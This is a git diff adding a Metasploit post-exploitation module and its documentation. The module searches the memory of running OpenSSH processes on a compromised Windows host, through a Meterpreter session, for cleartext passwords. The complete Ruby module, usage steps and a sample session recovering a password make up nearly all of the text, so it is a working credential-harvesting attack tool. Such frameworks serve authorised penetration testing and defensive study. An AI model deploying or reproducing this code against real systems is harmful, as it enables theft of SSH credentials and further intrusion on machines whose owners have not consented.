diff --git a/documentation/modules/post/windows/gather/openssh_password_search.md b/documentation/modules/post/windows/gather/openssh_password_search.md new file mode 100644 index 0000000000000..ff88119a970f6 --- /dev/null +++ b/documentation/modules/post/windows/gather/openssh_password_search.md @@ -0,0 +1,65 @@ +## Vulnerable Application + +This module allows for searching the memory space of running OpenSSH processes on Windows +for potentially sensitive data such as passwords. + +## Verification Steps + +1. Start `msfconsole` +2. Get a Meterpreter session +3. Do: `use post/windows/gather/openssh_password_search` +4. Do: `set SESSION ` +5. Do: `set PID ` +6. Do: `run` + +## Options + +### PID + +The process ID of the OpenSSH target process. (default: `nil`) + +### REGEX + +The regular expression to search for in process memory. (default: `publickey,password.*`) + +### MIN_MATCH_LEN + +The minimum match length. (default: `5`) + +### MAX_MATCH_LEN + +The maximum match length. (default: `127`) + +### REPLACE_NON_PRINTABLE_BYTES + +Replace non-printable bytes with `.` when outputting the results. (default: `true`) + + +## Scenarios + +### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023 +In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`. +``` +msf6 post(windows/gather/openssh_password_search) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:59376 (192.168.112.129) + + +msf6 post(windows/gather/openssh_password_search) > run pid=8780 session=-1 + +[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds... +[*] Memory Matches for OpenSSH +========================== + + Match Address Match Length Match Buffer Memory Region Start Memory Region Size + ------------- ------------ ------------ ------------------- ------------------ + 0x0000000A00060EE0 127 "publickey,password......3.......myverysecretpassword....................#.........#.....................#...... 0x0000000A00000000 0x0000000000090000 + .client-session." + +[*] Post module execution completed +``` diff --git a/modules/post/windows/gather/openssh_password_search.rb b/modules/post/windows/gather/openssh_password_search.rb new file mode 100644 index 0000000000000..9062b88b09532 --- /dev/null +++ b/modules/post/windows/gather/openssh_password_search.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows OpenSSH Password Search', + 'Description' => %q{ + This module allows for searching the memory space of running OpenSSH processes on Windows + for potentially sensitive data such as passwords. + }, + 'License' => MSF_LICENSE, + 'Author' => ['sjanusz-r7'], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_sys_process_memory_search + ] + }, + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options([ + OptInt.new('PID', [true, 'Process ID of OpenSSH to search through', nil]), + OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', 'publickey,password.*']), + OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]), + OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]), + OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [true, 'Replace non-printable bytes with "."', true]) + ]) + end + + def pid + datastore['PID'] + end + + def regex + datastore['REGEX'] + end + + def min_match_len + datastore['MIN_MATCH_LEN'] + end + + def max_match_len + datastore['MAX_MATCH_LEN'] + end + + def replace_non_printable_bytes + datastore['REPLACE_NON_PRINTABLE_BYTES'] + end + + def mem_search(pid, needles, min_search_len, match_len) + request = ::Rex::Post::Meterpreter::Packet.create_request(::Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH) + + request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PID, pid) + + needles = [needles] unless needles.instance_of? ::Array + + needles.each { |needle| request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_NEEDLE, needle) } + request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN, match_len) + request.add_tlv(::Rex::Post::Meterpreter::TLV_TYPE_UINT, min_search_len) + + self.session.send_request(request) + end + + def non_printable?(byte) + byte < 0x21 || byte > 0x7E + end + + def print_results(results: []) + if results.empty? + print_status 'No regular expression matches were found in memory' + return + end + + results_table = ::Rex::Text::Table.new( + 'Header' => 'Memory Matches for OpenSSH', + 'Indent' => 1, + 'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size'] + ) + + x64_architectures = [ + ARCH_X64, + ARCH_AARCH64, + ARCH_X86_64 + ] + rjust_value = x64_architectures.include?(self.session.native_arch) ? 16 : 8 + + results.each do |result| + match_address = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase || 0 + match_length = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN).value || 0 + match_buffer = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value || '' + region_start_address = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase || 0 + region_start_size = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase || 0 + + if replace_non_printable_bytes + match_buffer = match_buffer.bytes.map { |byte| non_printable?(byte) ? '.' : byte.chr }.join + end + + results_table << [ + "0x#{match_address.rjust(rjust_value, '0')}", + match_length, + match_buffer.inspect, + "0x#{region_start_address.rjust(rjust_value, '0')}", + "0x#{region_start_size.rjust(rjust_value, '0')}" + ] + end + + print_status results_table.to_s + end + + def run + if session.type != 'meterpreter' + print_error 'Only Meterpreter sessions are supported by this post module' + return + end + + print_status("Running module against - #{session.info} (#{session.session_host}). This might take a few seconds...") + results = mem_search(pid, regex.source, min_match_len, max_match_len) + group_tlv_results = results.get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS) + print_results(results: group_tlv_results) + end +end